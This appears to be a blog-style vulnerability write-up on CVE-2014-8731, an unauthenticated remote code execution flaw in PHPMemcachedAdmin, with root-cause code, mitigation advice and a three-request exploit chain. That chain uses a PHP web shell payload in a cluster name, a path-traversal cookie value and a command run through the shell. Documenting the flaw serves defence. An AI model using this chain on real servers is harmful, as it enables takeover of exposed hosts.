PHPMemcachedAdmin RCE — CVE-2014-8731
CVE-2014-8731 is an unauthenticated RCE in PHPMemcachedAdmin ≤ 1.2.2. The CVE is from 2014. I wrote a PoC in 2022 - git.sbani.net.
Root cause
stats.php derives a file path from two user-controlled inputs and writes to it:
$hash = md5($_REQUEST['cluster']);
if (!isset($_COOKIE['live_stats_id' . $hash])) {
// generate new id
} else {
$live_stats_id = $_COOKIE['live_stats_id' . $hash];
}
$file_path = rtrim($_ini->get('file_path'), '/')
. DIRECTORY_SEPARATOR
. 'live_stats.' . $live_stats_id;
$live_stats_idis read from a cookie. No validation, no normalisation.file_pathdefaults to a directory inside the web root.- The cluster name later gets serialised into the dump file as part of the stats payload.
Result: arbitrary file write, attacker-controlled name and content, inside the document root.
Exploit
Three requests:
- POST a cluster definition. The cluster name contains the PHP payload, e.g.
<?php system($_GET['cmd']); ?>. The app stores it verbatim. - GET
stats.php?cluster=<name>with cookielive_stats_id<md5(name)>=../shell.php. The server resolvesfile_pathto<webroot>/shell.phpand writes the dump, which embeds the cluster name. - GET
/shell.php?cmd=id. PHP parses the file; everything outside the<?php ... ?>tags is ignored, payload executes.
Preconditions:
- Web server user can write inside the document root (default in the bundled WAMP/LAMP setups this tool ships with).
- No auth in front of
stats.php(default).
Impact
Pre-auth RCE as the web server user. PHPMemcachedAdmin has no built-in authentication. Typical deployments expose it on an internal management VLAN with no reverse proxy auth, so anyone reaching the host owns it.
Mitigation
Upstream is unmaintained. Options:
- Drop it. Use a maintained alternative or
memcached-tool/statsover the binary protocol. - If you must keep it: force HTTP auth at the web server, bind to loopback, and put it behind an SSH tunnel.